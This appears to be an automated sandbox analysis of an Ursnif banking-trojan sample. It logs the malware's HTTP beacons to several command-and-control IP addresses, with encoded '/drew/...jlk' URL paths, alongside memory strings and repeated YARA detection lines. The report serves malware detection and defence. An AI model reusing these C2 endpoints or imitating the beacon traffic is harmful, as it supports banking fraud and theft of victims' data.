      Source: global trafficHTTP traffic detected: GET /drew/ppXmNkbUPMM_/2FM2Xr4sEFa/a728DULR3atqUC/bCL0HSUo53lWl2sLhbZts/o4scwq5OfKTrPD7t/UNAyP4fNA8XBP_2/BEX8k2kScpq7rqtuOe/2f7ZPTT_2/F6BHRL3gYxmumqorkkWG/rJZVOQ2zsqPZd1oqtTm/2lWGLTzP5T9wSu9ihKmOOe/sA8wq_2BbQ7ZL/HW_2BHK4/vjbEvpA5pCLOG2sfsa3yOjK/i9jYWumAJ5/a5d9BrpDEc_2B7rVr/UDCuuI34JOdU/BOrtAjLf6_2/FX7Nl_2FoRH3A/XxFg0SxFF/C.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: unknownDNS traffic detected: query: checklist.skype.com replaycode: Name error (3)
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: unknownTCP traffic detected without corresponding DNS query: 194.116.163.130
      Source: loaddll32.exe, 00000000.00000002.777228247.00000000036BC000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.777046166.000000000488C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776713106.000000000512C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://185.31
      Source: regsvr32.exe, 00000003.00000002.776504265.0000000003193000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776035183.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.31.160.197/
      Source: rundll32.exe, 00000005.00000002.776035183.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776035183.000000000324B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.31.160.197/drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrEr
      Source: regsvr32.exe, 00000003.00000002.776504265.0000000003193000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.31.160.197/drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYS
      Source: rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.31.160.197/drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC9
      Source: rundll32.exe, 00000005.00000003.609463141.000000000329A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/
      Source: rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UV
      Source: regsvr32.exe, 00000003.00000002.776504265.00000000031A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130/drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/Jo
      Source: rundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://194.116.163.130LRPC-b584c64820c5bc32ecr
      Source: rundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.76/
      Source: rundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.76/dows
      Source: rundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.44.76/drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2F
      Source: rundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/
      Source: rundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/ES
      Source: rundll32.exe, 00000005.00000003.402711889.0000000003289000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/49ucuzxCL/CAckapBuE34W4Bfrugrp/ZxmvQlthiLVIAsdIzz7/_2FCoCvOhXj9zOh1R
      Source: regsvr32.exe, 00000003.00000002.776504265.00000000031A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/G32uECC5Ha3PFA/Glbtqzy6UrBDB_2BN8ZXw/iidbzjPXPNZphE1W/FDn8f3iV4MY77Y
      Source: rundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776035183.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skype.com/drew/r1seWTzK/XOxSZcrOl0f4RVE_2BbowJB/8sHVIU8mTb/c9kMz3f9VeWHrA7Gd/GR8FsW
      Source: regsvr32.exe, 00000003.00000002.776504265.00000000031A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checklist.skypeaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pd
      Source: unknownDNS traffic detected: queries for: checklist.skype.com
      Source: global trafficHTTP traffic detected: GET /drew/YnuOM5xT27p0PmRl1Cwn/sHfpKrHtm3IGAqKf5oE/1_2FQ7swiV75HAr8OQp4_2/FTJuvvpsJ4vrE/5CHodcYH/FvKE3Awud_2FuI6D8RC4vxO/jlBJVJhS1W/kWWybhfV9ayTjhbnf/bYlxgQ0l6E5_/2Be4zTGPJXY/1jOL3CdqlKh9V7/C3fq9ZEtYfl8Q_2BXYnQR/ZutaXynzRXd4iLId/_2BYxjCGmLsaVaV/ijuyPyyQi_2FEga3LP/wr7j4_2Fp/DHPaKLP54f0U3CWbY84f/moy8sWWVBKAm6XbHQuu/smXEt13.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC9gZmiMRTyysYi/MDWwBphU1_2F4nDtPCwb7Q/d2SnzYa3MGBY0/YibZ_2BM/j6T2h_2BnsnstyqO_2FdZkB/f46qik_2BK/_2F_2B_2FqlG_2Ff_/2FUcQnSgjIge/QPz1KCD9GeI/UkTDE6hQf5nEi3/mZoYVayKfEJLWN9ucg88R/I4BoM1NdGVsllvKy/8qL9zvI3U3rVf09/ugaVsxQgobuqMU7KMf/DgyN9EOdWaey/ukl7G09K/W.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/ZjtQC4I6JpAmKA/shomVIZDW6adTf3wvhQQM/XpDTW2_2BvYwSuTA/CcCSiHnloLUnuOd/nHOnFSS4oDhB9LKTz4/EbcJkQjsj/31x_2BMGIf4fzrhyKm1i/PYUgpXsGkrpzf57_2BP/_2BaOfiBbQWVNNpD2JWxuq/LvCFSRMp622qP/ryji2IUB/uo2rKyguYrE4da_2FMANukU/IP9j47UKC0/7W20oOz86Rs7mAnVP/W222Dtx9Q_2F/74bAp065zTq/pvNG5UWqmIK2kj/IicnzIIs5xLn78iTxatX9/CmOTqWu.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYSpKl48rwMxG3fS_2Bh/kyZDOxqU4b_2FpF4/WoAtYbEKP2GNHwJ/IpgKqUcAf6Rp2Udzmk/LaML_2FTW/lYRaZ_2BK5ar8SZhZsu5/_2BxBTtQn722DxwGyVC/pVSF1NREJUJBkD37zO9rNZ/zFf3wm2ZVOuZj/EYr3Y1KR/mPXfKnLCL_2BrxjlwGgxBlT/8pNS8_2BGz/EzV33yjOW6jnBdU_2/FcxIS0uffSkY/8y8vXK3ZLX7jmj/L.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/YiQ5UyNb1AJgnvxjy_2BM/RlH5WVve6OZwHuHV/nWvcJh7IwU8V_2F/BAKhUnv4WDO432I6Cy/hDkFT5W1K/UJNhYmXmogUNCrCSqk5H/lS4rHem3dtLce0YT1QS/hkZ_2FBKDoY9IQgRqEdbQJ/3CyYFvLdQzHVg/x7rsQTcN/W7sIIHrQcumHRyF3UrWRrg1/4VahkAPD5t/oKgqaEX091n4L_2F5/fCfjur48K8Qg/sG5u_2FUEjo/pZ6TXsstKDeNva/ND7kaJkrgLTjxReq37gkL/qhhWkG_2Bnto3f/e4V_2BaI/1.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2FsWhRs/_2BrPOgzoCK7kxbVkt/oe_2BqS0X/nJkE02wURCRcr3jmcRLy/EThsMigo1zfS9ty0ee_/2ByStDMdmFmYA3tiMo12kA/KlC_2FTJrPIRb/oDPOe247/qLaUvbKqJn0IyrixuXOD916/hv1gsxxC3Y/5zpLW0YacAYowmRRR/IpB6xQpV8yYA/5T1p4hnGVC4/5TMFifNpxbmTmv/g3suENklraBwgzMg/w.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/9ldJ1gNErtKQm/l5H3Dchh/a9qDKYJb7cK_2Bom3umM3Ef/igE6eKTjTL/sM2RKHr6eeCJgV2M_/2Btmb2QJYdsy/pwOZ0ePX_2F/1SJLCuAp0_2BGo/MB_2FlNwbKUb4XpI1RSx7/2gEZl2vbzfIAt6DE/EVukzyfE91n3kr0/nv2arCnMEYPJTvV2vj/Iw9YoywE2/nqt_2BF28XHfDbaLVr0S/hkIav6Fl_2BCPTRld8o/O8WvbV3Lrnw_2BgKsKzO5M/wdeSHSWNd9WmC/pMMFvCmx/_2B20NmtBVG0is9VnZ_2FQ7/j4avM4.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/vr_2B0Ss/hnAfqRh8WqONqQTajFZspU1/n47dz3bnIJ/nr8avK457NdUiLqTL/ZRUWzmBgh_2F/l2jCI4l2WIb/ZlcAov2mWHtc4S/IG5qrKW1Ucsl7HXDhkMb1/UuHpO9lWfV8IVisA/sRsBPsEmP9EnOLW/4DYnyZIHkFVSNadLYL/KhWfwPGS0/z_2BGNhOv1Zl_2FVwYsz/N9ptvDeoH0GEOu8UzRp/tA_2FymU7H4cLFwKrxJBW8/lEpnlzJEfo_2B/TkI4tuDd/jl9PFma2CyccawGQrYOkvDD/r_2F6X4O31/J7n.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/lIwih8DgqvU8q/wBSeo3Ik/2zDJI9Vfh8aCFQbpIGY1Gz5/6q81ddOtq2/4ULtrIM_2BEdMCi_2/B3LtElUMjUq8/ykAcaKXUUON/C70tYww8NuU_2B/Qnh1skDTZkUCnTL9XF_2B/aiyp8l662ZO_2BMs/X9BekuAIwiuALz2/v_2BTtX2yyeEbmIuLE/7WgtmmHUz/QkNTxGWjmb27vMlbCUnP/gKCziHhf8nzBjzpOWIV/c0bqvUD_2FGIpZbFRXCt82/x01HXQ2nbZghY/do8q6AUT/ilguTeIeFEYE/ruKVa85Vts/p.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UVp3Gh3ls9EFwLl5Jc3BZN/nGUe5TcWlRkhl/Vbch5ltk/8hxF3_2Bp3HJgW9iErNujVg/8qo57FnWLw/M00mJuAkLwqexX60_/2Ba6EndxloMt/uW3YZxSkfRY/M53qt3qEulUeT4/fTMrLhRVTec_2FdJ5jp6x/nB5Wk73hWf1u6uat/Iu7q3DTCQdUsQRD/i2qOhoPPYn3YePHW7u/xqbc969YZhc3G/cPhv8.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/Qf8veUJSbJWr/7lAEj8zPysi/PkDl25ePqDI0mO/NCCWESxolfgmnP22UsTr8/wqLYFq_2BxIKE1eW/qSpp9_2B5sFoBDM/Qqs0G5It1nbxCoX126/y2EL52tIQ/ox_2FFB5mgE6T239nJXG/k9kwxCZbCeCFO2jL1kR/x1fMQ88Ph64gkQxb3NmmiZ/GmsAvbJmVh0Jm/tws4Qzjc/z_2FnaryumtjXFtwB2yfxF5/XDoip4vmKE/LjA3gkWhyM_2BI5L7/uM2W4YAxbdGx/OzOP5CNWAKZ/765rFe2Xu_2BfT6/mGCq.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pdU5IXdpzFO54gr3_2F97n/SVVjHicscA15t/l6VtmWpP/71vHxqjc99D6co7U7_2Fe6g/n1qCYEFXGL/KpBZjIAujeCiOYPPJ/DtliWKU_2BEs/C_2BudJz9AO/WcvMnXMUPqAgay/OXgiy11BNNdmXwccKrHVq/3wydv2y.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/WssPGtPw9/cInsr4z6sL58bW1qFACy/FPGytKj5sF_2FJhHDbS/JMVb_2F9jtmGpLuldBc30T/geFSag0kzmRYH/bkk9mxLu/T1Vk5rnPNwJhQZh14vDt0p5/P_2B1hkVRr/UipQ1gxWfytKWu_2F/6BcCYE5HNWOT/zEWstqB3_2B/DtUz5JgsOCfC_2/FsybDaKHmMdU1vCLMfI5x/6SHr0VZWsd3ZSFoq/_2FoNuCdDOJjmcC/wYxb3p1qFp9rBbBBCA/RR6vk5u_2/BuskSJGsdXgk1UBg9plO/yWHXNMOtiR1Ac4/RuM.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrErm/5nEhtgG7Hp2/zbOXjiri8c5UQP/HwViNu2EHfWxjBwk3As1s/29DojuZF5zhJISfQ/H3WqudbNq23cuko/N6r3xnulzXgdgfn7r3/iMzXt36Pz/hTsJCgysUP32NXqzsCHB/WEkiHTP3N6okgNckR9a/O3kCLqh9_2BveKs4VkbfTJ/dliNqPNdIvs8S/MeBvpSBz/csPLNKavKSKaNIKnwbXXUim/YNfJ4.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/ppXmNkbUPMM_/2FM2Xr4sEFa/a728DULR3atqUC/bCL0HSUo53lWl2sLhbZts/o4scwq5OfKTrPD7t/UNAyP4fNA8XBP_2/BEX8k2kScpq7rqtuOe/2f7ZPTT_2/F6BHRL3gYxmumqorkkWG/rJZVOQ2zsqPZd1oqtTm/2lWGLTzP5T9wSu9ihKmOOe/sA8wq_2BbQ7ZL/HW_2BHK4/vjbEvpA5pCLOG2sfsa3yOjK/i9jYWumAJ5/a5d9BrpDEc_2B7rVr/UDCuuI34JOdU/BOrtAjLf6_2/FX7Nl_2FoRH3A/XxFg0SxFF/C.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache

      Key, Mouse, Clipboard, Microphone and Screen Capturing

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTR

      E-Banking Fraud

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
